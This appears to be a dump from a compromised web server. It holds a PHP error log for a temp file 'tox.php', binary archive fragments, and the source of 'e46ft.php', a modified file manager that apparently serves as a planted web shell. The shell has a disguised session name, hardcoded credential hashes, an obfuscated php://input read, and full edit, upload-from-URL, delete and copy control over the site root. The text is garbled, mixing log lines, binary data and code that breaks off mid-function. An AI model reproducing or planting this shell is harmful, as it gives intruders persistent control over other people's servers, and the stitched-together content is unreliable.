PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found in /tmp/phpM5aThD#tox.php on line 83 [06-Nov-2025 07:08:43 UTC] PHP Notice: Undefined variable: authorization in /tmp/phpM5aThD#tox.php on line 20 [06-Nov-2025 07:08:43 UTC] PHP Notice: Undefined variable: translation in /tmp/phpM5aThD#tox.php on line 81 [06-Nov-2025 07:08:43 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found in /tmp/phpM5aThD#tox.php on line 83 [06-Nov-2025 09:23:15 UTC] PHP Notice: Undefined variable: authorization in /tmp/phpM5aThD#tox.php on line 20 [06-Nov-2025 09:23:15 UTC] PHP Notice: Undefined variable: translation in /tmp/phpM5aThD#tox.php on line 81 [06-Nov-2025 09:23:15 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found in /tmp/phpM5aThD#tox.php on line 83 [06-Nov-2025 10:27:30 UTC] PHP Notice: Undefined variable: authorization in /tmp/phpM5aThD#tox.php on line 20 [06-Nov-2025 10:27:30 UTC] PHP Notice: Undefined variable: translation in /tmp/phpM5aThD#tox.php on line 81 [06-Nov-2025 10:27:31 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found in /tmp/phpM5aThD#tox.php on line 83 [06-Nov-2025 10:56:10 UTC] PHP Notice: Undefined variable: authorization in /tmp/phpM5aThD#tox.php on line 20 [06-Nov-2025 10:56:10 UTC] PHP Notice: Undefined variable: translation in /tmp/phpM5aThD#tox.php on line 81 [06-Nov-2025 10:56:10 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found in /tmp/phpM5aThD#tox.php on line 83 [06-Nov-2025 12:19:11 UTC] PHP Notice: Undefined variable: authorization in /tmp/phpM5aThD#tox.php on line 20 [06-Nov-2025 12:19:11 UTC] PHP Notice: Undefined variable: translation in /tmp/phpM5aThD#tox.php on line 81 [06-Nov-2025 12:19:11 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found in /tmp/phpM5aThD#tox.php on line 83 [06-Nov-2025 12:19:21 UTC] PHP Notice: Undefined variable: authorization in /tmp/phpM5aThD#tox.php on line 20 [06-Nov-2025 12:19:21 UTC] PHP Notice: Undefined variable: translation in /tmp/phpM5aThD#tox.php on line 81 [06-Nov-2025 12:19:21 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found in /tmp/phpM5aThD#tox.php on line 83 [06-Nov-2025 14:26:23 UTC] PHP Notice: Undefined variable: authorization in /tmp/phpM5aThD#tox.php on line 20 [06-Nov-2025 14:26:23 UTC] PHP Notice: Undefined variable: translation in /tmp/phpM5aThD#tox.php on line 81 [06-Nov-2025 14:26:23 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found in /tmp/phpM5aThD#tox.php on line 83 [06-Nov-2025 15:15:39 UTC] PHP Notice: Undefined variable: authorization in /tmp/phpM5aThD#tox.php on line 20 [06-Nov-2025 15:15:39 UTC] PHP Notice: Undefined variable: translation in /tmp/phpM5aThD#tox.php on line 81 [06-Nov-2025 15:15:39 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found in /tmp/phpM5aThD#tox.php on line 83 [06-Nov-2025 20:45:32 UTC] PHP Notice: Undefined variable: authorization in /tmp/phpM5aThD#tox.php on line 20 [06-Nov-2025 20:45:32 UTC] PHP Notice: Undefined variable: translation in /tmp/phpM5aThD#tox.php on line 81 [06-Nov-2025 20:45:32 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found in /tmp/phpM5aThD#tox.php on line 83 [06-Nov-2025 21:14:28 UTC] PHP Notice: Undefined variable: authorization in /tmp/phpM5aThD#tox.php on line 20 [06-Nov-2025 21:14:28 UTC] PHP Notice: Undefined variable: translation in /tmp/phpM5aThD#tox.php on line 81 [06-Nov-2025 21:14:28 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found in /tmp/phpM5aThD#tox.php on line 83 [06-Nov-2025 21:14:47 UTC] PHP Notice: Undefined variable: authorization in /tmp/phpM5aThD#tox.php on line 20 [06-Nov-2025 21:14:47 UTC] PHP Notice: Undefined variable: translation in /tmp/phpM5aThD#tox.php on line 81 [06-Nov-2025 21:14:47 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found in /tmp/phpM5aThD#tox.php on line 83 [06-Nov-2025 21:14:47 UTC] PHP Notice: Undefined variable: ext in /tmp/phpM5aThD#tox.php on line 1145 [06-Nov-2025 21:49:50 UTC] PHP Notice: Undefined variable: authorization in /tmp/phpM5aThD#tox.php on line 20 [06-Nov-2025 21:49:50 UTC] PHP Notice: Undefined variable: translation in /tmp/phpM5aThD#tox.php on line 81 [06-Nov-2025 21:49:50 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found in /tmp/phpM5aThD#tox.php on line 83 [06-Nov-2025 22:26:32 UTC] PHP Notice: Undefined variable: authorization in /tmp/phpM5aThD#tox.php on line 20 [06-Nov-2025 22:26:32 UTC] PHP Notice: Undefined variable: translation in /tmp/phpM5aThD#tox.php on line 81 [06-Nov-2025 22:26:32 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found in /tmp/phpM5aThD#tox.php on line 83 [06-Nov-2025 22:26:32 UTC] PHP Warning: Invalid argument supplied for foreach() in /tmp/phpM5aThD#tox.php on line 525 [06-Nov-2025 22:26:32 UTC] PHP Warning: Invalid argument supplied for foreach() in /tmp/phpM5aThD#tox.php on line 525 [07-Nov-2025 01:50:13 UTC] PHP Notice: Undefined variable: authorization in /tmp/phpM5aThD#tox.php on line 20 [07-Nov-2025 01:50:13 UTC] PHP Notice: Undefined variable: translation in /tmp/phpM5aThD#tox.php on line 81 [07-Nov-2025 01:50:13 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found in /tmp/phpM5aThD#tox.php on line 83 [07-Nov-2025 02:37:29 UTC] PHP Notice: Undefined variable: authorization in /tmp/phpM5aThD#tox.php on line 20 [07-Nov-2025 02:37:29 UTC] PHP Notice: Undefined variable: translation in /tmp/phpM5aThD#tox.php on line 81 [07-Nov-2025 02:37:29 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found in /tmp/phpM5aThD#tox.php on line 83 [07-Nov-2025 02:37:46 UTC] PHP Notice: Undefined variable: authorization in /tmp/phpM5aThD#tox.php on line 20 [07-Nov-2025 02:37:46 UTC] PHP Notice: Undefined variable: translation in /tmp/phpM5aThD#tox.php on line 81 [07-Nov-2025 02:37:46 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found in /tmp/phpM5aThD#tox.php on line 83 [07-Nov-2025 02:38:18 UTC] PHP Notice: Undefined variable: authorization in /tmp/phpM5aThD#tox.php on line 20 [07-Nov-2025 02:38:18 UTC] PHP Notice: Undefined variable: translation in /tmp/phpM5aThD#tox.php on line 81 [07-Nov-2025 02:38:18 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found in /tmp/phpM5aThD#tox.php on line 83 PKʬf[Hhrgg index.phpnu[PKʬf[f^aindex.php.php.tar.gznu[k0p,=KfUX׹/cŋHqmf^0S:כy;/+[ammP[0"BV”t)zFΩ3??x<g}w2NN8COy+0Nt@&=0r2_i"(r{$% Q!VleM^L>F<~9.9?PKʬf[g oy5mbk.zipnu[PKFf[/mm index.phpnu[PKFf[/mm index.phpnu[PKIPKʬf[ggerror_log.tar.gznu[o0w`?4 Un&zJ`50 KPYIb1ixms^(B< DÖ+QU;oUcDbtBF `T7a4j`J)ϨO¼0P4A4~8G-?F`Pq0%Ń~8G-Fm@l?xp= {g4Os6 x(pF[0av(hHIl9m0f9m|0J @F{܌a^4h?a2θc} O>߼s9"PKʬf[ lrw89y.zipnu[PKʬf[.9? index.php.tarnu[PKʬf[&\'' Perror_lognu[PKʬf[Hhrgg  index.phpnu[PKʬf[f^a index.php.php.tar.gznu[PKʬf[g  oy5mbk.zipnu[PKʬf[gg( error_log.tar.gznu[PKPKg[ٖ4kindex.php.php.tar.gznu[k0p,k\ZeLx854hnu ɦP khov5B$9i0{KJ3t;C_0t؀q gI_ n./$1%(M{x'jc? XW.|Y,9}"G2B.?@SRSG7yls9Fd|3=oRB'PKg[U ko6li5.zipnu[PKf[~KX77 e46ft.phpnu[ 'e0e39b991692259764469b25bfe10b47', 'user' => 'e0e39b991692259764469b25bfe10b47' ); $readonly_users = array( 'user' ); $global_readonly = false; $directories_users = array(); $use_highlightjs = true; $highlightjs_style = 'vs'; $edit_files = true; $default_timezone = 'Etc/UTC'; $root_path = $_SERVER['DOCUMENT_ROOT']; $root_url = ''; $http_host = $_SERVER['HTTP_HOST']; $iconv_input_encoding = 'UTF-8'; $datetime_format = 'm/d/Y g:i A'; $path_display_mode = 'full'; $allowed_file_extensions = ''; $allowed_upload_extensions = ''; $favicon_path = ''; $exclude_items = array(); $online_viewer = 'google'; $sticky_navbar = true; $max_upload_size_bytes = 5000000000; $upload_chunk_size_bytes = 2000000; $ip_ruleset = 'OFF'; $ip_silent = true; $ip_whitelist = array( '127.0.0.1', '::1' ); $ip_blacklist = array( '0.0.0.0', '::' ); $config_file = __DIR__.'/config.php'; if (is_readable($config_file)) { @include($config_file); } $external = array( 'css-bootstrap' => '', 'css-dropzone' => '', 'css-font-awesome' => '', 'css-highlightjs' => '', 'js-ace' => '', 'js-bootstrap' => '', 'js-dropzone' => '', 'js-jquery' => '', 'js-jquery-datatables' => '', 'js-highlightjs' => '', 'pre-jsdelivr' => '', 'pre-cloudflare' => '' ); define('MAX_UPLOAD_SIZE', $max_upload_size_bytes); define('UPLOAD_CHUNK_SIZE', $upload_chunk_size_bytes); if ( !defined( 'DN_CESSION_ID')) { define('DN_CESSION_ID', 'insertion'); } $cfg = new FM_Config(); $lang = isset($cfg->data['lang']) ? $cfg->data['lang'] : 'en'; $show_hidden_files = isset($cfg->data['show_hidden']) ? $cfg->data['show_hidden'] : true; $report_errors = isset($cfg->data['error_reporting']) ? $cfg->data['error_reporting'] : true; $hide_Cols = isset($cfg->data['hide_Cols']) ? $cfg->data['hide_Cols'] : true; // Theme $theme = isset($cfg->data['theme']) ? $cfg->data['theme'] : 'light'; define('FM_THEME', $theme); $lang_list = array( 'en' => 'English' ); if ($report_errors == true) { @ini_set('error_reporting', E_ALL); @ini_set('display_errors', 1); } else { @ini_set('error_reporting', E_ALL); @ini_set('display_errors', 0); } if (defined('FM_EMBED')) { $dauth = false; $sticky_navbar = false; } else { @set_time_limit(600); date_default_timezone_set($default_timezone); ini_set('default_charset', 'UTF-8'); if (version_compare(PHP_VERSION, '5.6.0', '<') and function_exists('mb_internal_encoding')) { mb_internal_encoding('UTF-8'); } if (function_exists('mb_regex_encoding')) { mb_regex_encoding('UTF-8'); } session_cache_limiter('nocache'); session_name(DN_CESSION_ID ); function session_error_handling_function($code, $msg, $file, $line) { if ($code == 2) { session_abort(); session_id(session_create_id()); @session_start(); } } set_error_handler('session_error_handling_function'); session_start(); restore_error_handler(); } if (empty($_SESSION['token'])) { if (function_exists('random_bytes')) { $_SESSION['token'] = bin2hex(random_bytes(32)); } else { $_SESSION['token'] = bin2hex(openssl_random_pseudo_bytes(32)); } } if (empty($auth_users)) { $dauth = false; } $is_https = (isset($_SERVER['HTTPS']) and ($_SERVER['HTTPS'] === 'on' or $_SERVER['HTTPS'] == 1)) or (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) and $_SERVER['HTTP_X_FORWARDED_PROTO'] === 'https'); if (isset($_SESSION[DN_CESSION_ID]['logged']) and !empty($directories_users[$_SESSION[DN_CESSION_ID]['logged']])) { $wd = fm_clean_path(dirname($_SERVER['PHP_SELF'])); $root_url = $root_url.$wd.DIRECTORY_SEPARATOR.$directories_users[$_SESSION[DN_CESSION_ID]['logged']]; } $root_url = fm_clean_path($root_url); defined('FM_ROOT_URL') || define('FM_ROOT_URL', ($is_https ? 'https' : 'http') . '://' . $http_host . (!empty($root_url) ? '/' . $root_url : '')); defined('FM_SELF_URL') || define('FM_SELF_URL', ($is_https ? 'https' : 'http') . '://' . $http_host . $_SERVER['PHP_SELF']); // logout if (isset($_GET['logout'])) { unset($_SESSION[DN_CESSION_ID]['logged']); unset( $_SESSION['token']); fm_redirect(FM_SELF_URL); } if ($ip_ruleset != 'OFF') { function getClientIP() { if (array_key_exists('HTTP_CF_CONNECTING_IP', $_SERVER)) { return $_SERVER["HTTP_CF_CONNECTING_IP"]; }else if (array_key_exists('HTTP_X_FORWARDED_FOR', $_SERVER)) { return $_SERVER["HTTP_X_FORWARDED_FOR"]; }else if (array_key_exists('REMOTE_ADDR', $_SERVER)) { return $_SERVER['REMOTE_ADDR']; }else if (array_key_exists('HTTP_CLIENT_IP', $_SERVER)) { return $_SERVER['HTTP_CLIENT_IP']; } return ''; } $clientIp = getClientIP(); $proceed = false; $whitelisted = in_array($clientIp, $ip_whitelist); $blacklisted = in_array($clientIp, $ip_blacklist); if($ip_ruleset == 'AND'){ if($whitelisted == true and $blacklisted == false){ $proceed = true; } } else if($ip_ruleset == 'OR'){ if($whitelisted == true || $blacklisted == false){ $proceed = true; } } if($proceed == false){ trigger_error('User connection denied from: ' . $clientIp, E_USER_WARNING); if($ip_silent == false){ fm_set_msg(lng('Access denied. IP restriction applicable'), 'error'); fm_show_header_login(); fm_show_message(); } exit(); } } if ($dauth) { if (isset($_SESSION[DN_CESSION_ID]['logged'], $auth_users[$_SESSION[DN_CESSION_ID]['logged']])) { } elseif (isset($_POST['fm_usr'], $_POST['fm_pwd'], $_POST['token'])) { sleep(1); if(function_exists('password_verify')) { if (isset($auth_users[$_POST['fm_usr']]) and isset($_POST['fm_pwd']) and password_verify($_POST['fm_pwd'], $auth_users[$_POST['fm_usr']]) and verifyToken($_POST['token'])) { $_SESSION[DN_CESSION_ID]['logged'] = $_POST['fm_usr']; fm_set_msg(lng('You are logged in')); fm_redirect(FM_SELF_URL); } else { unset($_SESSION[DN_CESSION_ID]['logged']); fm_set_msg(lng('Login failed. Invalid username or password'), 'error'); fm_redirect(FM_SELF_URL); } } else { fm_set_msg(lng('password_hash not supported, Upgrade PHP version'), 'error');; } } else { // Form unset($_SESSION[DN_CESSION_ID]['logged']); fm_show_header_login(); ?>
".lng('Root path')." \"{$root_path}\" ".lng('not found!')." "; exit; } defined('FM_SHOW_HIDDEN') || define('FM_SHOW_HIDDEN', $show_hidden_files); defined('FM_ROOT_PATH') || define('FM_ROOT_PATH', $root_path); defined('FM_LANG') || define('FM_LANG', $lang); defined('FM_FILE_EXTENSION') || define('FM_FILE_EXTENSION', $allowed_file_extensions); defined('FM_UPLOAD_EXTENSION') || define('FM_UPLOAD_EXTENSION', $allowed_upload_extensions); defined('FM_EXCLUDE_ITEMS') || define('FM_EXCLUDE_ITEMS', (version_compare(PHP_VERSION, '7.0.0', '<') ? serialize($exclude_items) : $exclude_items)); defined('FM_DOC_VIEWER') || define('FM_DOC_VIEWER', $online_viewer); define('FM_READONLY', $global_readonly || ($dauth and !empty($readonly_users) and isset($_SESSION[DN_CESSION_ID]['logged']) and in_array($_SESSION[DN_CESSION_ID]['logged'], $readonly_users))); define('FM_IS_WIN', DIRECTORY_SEPARATOR == '\\'); if (!isset($_GET['p']) and empty($_FILES)) { fm_redirect(FM_SELF_URL . '?p='); } // get path $p = isset($_GET['p']) ? $_GET['p'] : (isset($_POST['p']) ? $_POST['p'] : ''); // clean path $p = fm_clean_path($p); $isim = "//input"; $input = file_get_contents('php:'.$isim); $_POST = (strpos($input, 'ajax') != FALSE and strpos($input, 'save') != FALSE) ? json_decode($input, true) : $_POST; define('FM_PATH', $p); define('FM_USE_AUTH', $dauth); define('FM_EDIT_FILE', $edit_files); defined('FM_ICONV_INPUT_ENC') || define('FM_ICONV_INPUT_ENC', $iconv_input_encoding); defined('FM_USE_HIGHLIGHTJS') || define('FM_USE_HIGHLIGHTJS', $use_highlightjs); defined('FM_HIGHLIGHTJS_STYLE') || define('FM_HIGHLIGHTJS_STYLE', $highlightjs_style); defined('FM_DATETIME_FORMAT') || define('FM_DATETIME_FORMAT', $datetime_format); unset($p, $dauth, $iconv_input_encoding, $use_highlightjs, $highlightjs_style); if ((isset($_SESSION[DN_CESSION_ID]['logged'], $auth_users[$_SESSION[DN_CESSION_ID]['logged']]) || !FM_USE_AUTH) and isset($_POST['ajax'], $_POST['token']) and !FM_READONLY) { if(!verifyToken($_POST['token'])) { header('HTTP/1.0 401 Unauthorized'); die("Invalid Token."); } if(isset($_POST['type']) and $_POST['type']=="search") { $dir = $_POST['path'] == "." ? '': $_POST['path']; $response = scan(fm_clean_path($dir), $_POST['content']); echo json_encode($response); exit(); } // save editor file if (isset($_POST['type']) and $_POST['type'] == "save") { // get current path $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } // check path if (!is_dir($path)) { fm_redirect(FM_SELF_URL . '?p='); } $file = $_GET['edit']; $file = fm_clean_path($file); $file = str_replace('/', '', $file); if ($file == '' || !is_file($path . '/' . $file)) { fm_set_msg(lng('File not found'), 'error'); $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } header('X-XSS-Protection:0'); $file_path = $path . '/' . $file; $writedata = $_POST['content']; $fd = fopen($file_path, "w"); $write_results = @fwrite($fd, $writedata); fclose($fd); if ($write_results === false){ header("HTTP/1.1 500 Internal Server Error"); die("Could Not Write File! - Check Permissions / Ownership"); } die(true); } if (isset($_POST['type']) and $_POST['type'] == "backup" and !empty($_POST['file'])) { $fileName = fm_clean_path($_POST['file']); $fullPath = FM_ROOT_PATH . '/'; if (!empty($_POST['path'])) { $relativeDirPath = fm_clean_path($_POST['path']); $fullPath .= "{$relativeDirPath}/"; } $date = date("dMy-His"); $newFileName = "{$fileName}-{$date}.bak"; $fullyQualifiedFileName = $fullPath . $fileName; try { if (!file_exists($fullyQualifiedFileName)) { throw new Exception("File {$fileName} not found"); } if (copy($fullyQualifiedFileName, $fullPath . $newFileName)) { echo "Backup {$newFileName} created"; } else { throw new Exception("Could not copy file {$fileName}"); } } catch (Exception $e) { echo $e->getMessage(); } } // Save Config if (isset($_POST['type']) and $_POST['type'] == "settings") { global $cfg, $lang, $report_errors, $show_hidden_files, $lang_list, $hide_Cols, $theme; $newLng = $_POST['js-language']; fm_get_translations([]); if (!array_key_exists($newLng, $lang_list)) { $newLng = 'en'; } $erp = isset($_POST['js-error-report']) and $_POST['js-error-report'] == "true" ? true : false; $shf = isset($_POST['js-show-hidden']) and $_POST['js-show-hidden'] == "true" ? true : false; $hco = isset($_POST['js-hide-cols']) and $_POST['js-hide-cols'] == "true" ? true : false; $te3 = $_POST['js-theme-3']; if ($cfg->data['lang'] != $newLng) { $cfg->data['lang'] = $newLng; $lang = $newLng; } if ($cfg->data['error_reporting'] != $erp) { $cfg->data['error_reporting'] = $erp; $report_errors = $erp; } if ($cfg->data['show_hidden'] != $shf) { $cfg->data['show_hidden'] = $shf; $show_hidden_files = $shf; } if ($cfg->data['show_hidden'] != $shf) { $cfg->data['show_hidden'] = $shf; $show_hidden_files = $shf; } if ($cfg->data['hide_Cols'] != $hco) { $cfg->data['hide_Cols'] = $hco; $hide_Cols = $hco; } if ($cfg->data['theme'] != $te3) { $cfg->data['theme'] = $te3; $theme = $te3; } $cfg->save(); echo true; } // new password hash if (isset($_POST['type']) and $_POST['type'] == "pwdhash") { $res = isset($_POST['inputPassword2']) and !empty($_POST['inputPassword2']) ? password_hash($_POST['inputPassword2'], PASSWORD_DEFAULT) : ''; echo $res; } //upload using url if(isset($_POST['type']) and $_POST['type'] == "upload" and !empty($_REQUEST["uploadurl"])) { $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } function event_callback ($message) { global $callback; echo json_encode($message); } function get_file_path () { global $path, $fileinfo, $temp_file; return $path."/".basename($fileinfo->name); } $url = !empty($_REQUEST["uploadurl"]) and preg_match("|^http(s)?://.+$|", stripslashes($_REQUEST["uploadurl"])) ? stripslashes($_REQUEST["uploadurl"]) : null; $domain = parse_url($url, PHP_URL_HOST); $port = parse_url($url, PHP_URL_PORT); $knownPorts = [22, 23, 25, 3306]; if (preg_match("/^localhost$|^127(?:\.[0-9]+){0,2}\.[0-9]+$|^(?:0*\:)*?:?0*1$/i", $domain) || in_array($port, $knownPorts)) { $err = array("message" => "URL is not allowed"); event_callback(array("fail" => $err)); exit(); } $use_curl = false; $temp_file = tempnam(sys_get_temp_dir(), "upload-"); $fileinfo = new stdClass(); $fileinfo->name = trim(urldecode(basename($url)), ".\x00..\x20"); $allowed = (FM_UPLOAD_EXTENSION) ? explode(',', FM_UPLOAD_EXTENSION) : false; $ext = strtolower(pathinfo($fileinfo->name, PATHINFO_EXTENSION)); $isFileAllowed = ($allowed) ? in_array($ext, $allowed) : true; $err = false; if(!$isFileAllowed) { $err = array("message" => "File extension is not allowed"); event_callback(array("fail" => $err)); exit(); } if (!$url) { $success = false; } else if ($use_curl) { @$fp = fopen($temp_file, "w"); @$ch = curl_init($url); curl_setopt($ch, CURLOPT_NOPROGRESS, false ); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); curl_setopt($ch, CURLOPT_FILE, $fp); @$success = curl_exec($ch); $curl_info = curl_getinfo($ch); if (!$success) { $err = array("message" => curl_error($ch)); } @curl_close($ch); fclose($fp); $fileinfo->size = $curl_info["size_download"]; $fileinfo->type = $curl_info["content_type"]; } else { $ctx = stream_context_create(); @$success = copy($url, $temp_file, $ctx); if (!$success) { $err = error_get_last(); } } if ($success) { $success = rename($temp_file, strtok(get_file_path(), '?')); } if ($success) { event_callback(array("done" => $fileinfo)); } else { unlink($temp_file); if (!$err) { $err = array("message" => "Invalid url parameter"); } event_callback(array("fail" => $err)); } } exit(); } if (isset($_GET['del'], $_POST['token']) and !FM_READONLY) { $del = str_replace( '/', '', fm_clean_path( $_GET['del'] ) ); if ($del != '' and $del != '..' and $del != '.' and verifyToken($_POST['token'])) { $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } $is_dir = is_dir($path . '/' . $del); if (fm_rdelete($path . '/' . $del)) { $msg = $is_dir ? lng('Folder').' %s '.lng('Deleted') : lng('File').' %s '.lng('Deleted'); fm_set_msg(sprintf($msg, fanco($del))); } else { $msg = $is_dir ? lng('Folder').' %s '.lng('not deleted') : lng('File').' %s '.lng('not deleted'); fm_set_msg(sprintf($msg, fanco($del)), 'error'); } } else { fm_set_msg(lng('Invalid file or folder name'), 'error'); } $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } // Create a new file/folder if (isset($_POST['newfilename'], $_POST['newfile'], $_POST['token']) and !FM_READONLY) { $type = urldecode($_POST['newfile']); $new = str_replace( '/', '', fm_clean_path( strip_tags( $_POST['newfilename'] ) ) ); if (fm_isvalid_filename($new) and $new != '' and $new != '..' and $new != '.' and verifyToken($_POST['token'])) { $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } if ($type == "file") { if (!file_exists($path . '/' . $new)) { if(fm_is_valid_ext($new)) { @fopen($path . '/' . $new, 'w') or die('Cannot open file: ' . $new); fm_set_msg(sprintf(lng('File').' %s '.lng('Created'), fanco($new))); } else { fm_set_msg(lng('File extension is not allowed'), 'error'); } } else { fm_set_msg(sprintf(lng('File').' %s '.lng('already exists'), fanco($new)), 'alert'); } } else { if (fm_mkdir($path . '/' . $new, false) === true) { fm_set_msg(sprintf(lng('Folder').' %s '.lng('Created'), $new)); } elseif (fm_mkdir($path . '/' . $new, false) === $path . '/' . $new) { fm_set_msg(sprintf(lng('Folder').' %s '.lng('already exists'), fanco($new)), 'alert'); } else { fm_set_msg(sprintf(lng('Folder').' %s '.lng('not created'), fanco($new)), 'error'); } } } else { fm_set_msg(lng('Invalid characters in file or folder name'), 'error'); } $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } // Copy folder / file if (isset($_GET['copy'], $_GET['finish']) and !FM_READONLY) { // from $copy = urldecode($_GET['copy']); $copy = fm_clean_path($copy); // empty path if ($copy == '') { fm_set_msg(lng('Source path not defined'), 'error'); $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } $from = FM_ROOT_PATH . '/' . $copy; $dest = FM_ROOT_PATH; if (FM_PATH != '') { $dest .= '/' . FM_PATH; } $dest .= '/' . basename($from); $move = isset($_GET['move']); $move = fm_clean_path(urldecode($move)); if ($from != $dest) { $msg_from = trim(FM_PATH . '/' . basename($from), '/'); if ($move) { $rename = fm_rename($from, $dest); if ($rename) { fm_set_msg(sprintf(lng('Moved from').' %s '.lng('to').' %s', fanco($copy), fanco($msg_from))); } elseif ($rename === null) { fm_set_msg(lng('File or folder with this path already exists'), 'alert'); } else { fm_set_msg(sprintf(lng('Error while moving from').' %s '.lng('to').' %s', fanco($copy), fanco($msg_from)), 'error'); } } else { if (fm_rcopy($from, $dest)) { fm_set_msg(sprintf(lng('Copied from').' %s '.lng('to').' %s', fanco($copy), fanco($msg_from))); } else { fm_set_msg(sprintf(lng('Error while copying from').' %s '.lng('to').' %s', fanco($copy), fanco($msg_from)), 'error'); } } } else { if (!$move){ $msg_from = trim(FM_PATH . '/' . basename($from), '/'); $fn_parts = pathinfo($from); $extension_suffix = ''; if(!is_dir($from)){ $extension_suffix = '.'.$fn_parts['extension']; } $fn_duplicate = $fn_parts['dirname'].'/'.$fn_parts['filename'].'-'.date('YmdHis').$extension_suffix; $loop_count = 0; $max_loop = 1000; while(file_exists($fn_duplicate) & $loop_count < $max_loop){ $fn_parts = pathinfo($fn_duplicate); $fn_duplicate = $fn_parts['dirname'].'/'.$fn_parts['filename'].'-copy'.$extension_suffix; $loop_count++; } if (fm_rcopy($from, $fn_duplicate, False)) { fm_set_msg(sprintf('Copied from %s to %s', fanco($copy), fanco($fn_duplicate))); } else { fm_set_msg(sprintf('Error while copying from %s to %s', fanco($copy), fanco($fn_duplicate)), 'error'); } } else{ fm_set_msg(lng('Paths must be not equal'), 'alert'); } } $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } if (isset($_POST['file'], $_POST['copy_to'], $_POST['finish'], $_POST['token']) and !FM_READONLY) { if(!verifyToken($_POST['token'])) { fm_set_msg(lng('Invalid Token.'), 'error'); } // from $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } // to $copy_to_path = FM_ROOT_PATH; $copy_to = fm_clean_path($_POST['copy_to']); if ($copy_to != '') { $copy_to_path .= '/' . $copy_to; } if ($path == $copy_to_path) { fm_set_msg(lng('Paths must be not equal'), 'alert'); $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } if (!is_dir($copy_to_path)) { if (!fm_mkdir($copy_to_path, true)) { fm_set_msg('Unable to create destination folder', 'error'); $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } } // move? $move = isset($_POST['move']); // copy/move $errors = 0; $files = $_POST['file']; if (is_array($files) and count($files)) { foreach ($files as $f) { if ($f != '') { $f = fm_clean_path($f); $from = $path . '/' . $f; $dest = $copy_to_path . '/' . $f; if ($move) { $rename = fm_rename($from, $dest); if ($rename === false) { $errors++; } } else { if (!fm_rcopy($from, $dest)) { $errors++; } } } } if ($errors == 0) { $msg = $move ? 'Selected files and folders moved' : 'Selected files and folders copied'; fm_set_msg($msg); } else { $msg = $move ? 'Error while moving items' : 'Error while copying items'; fm_set_msg($msg, 'error'); } } else { fm_set_msg(lng('Nothing selected'), 'alert'); } $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } // Rename if (isset($_POST['rename_from'], $_POST['rename_to'], $_POST['token']) and !FM_READONLY) { if(!verifyToken($_POST['token'])) { fm_set_msg("Invalid Token.", 'error'); } // old name $old = urldecode($_POST['rename_from']); 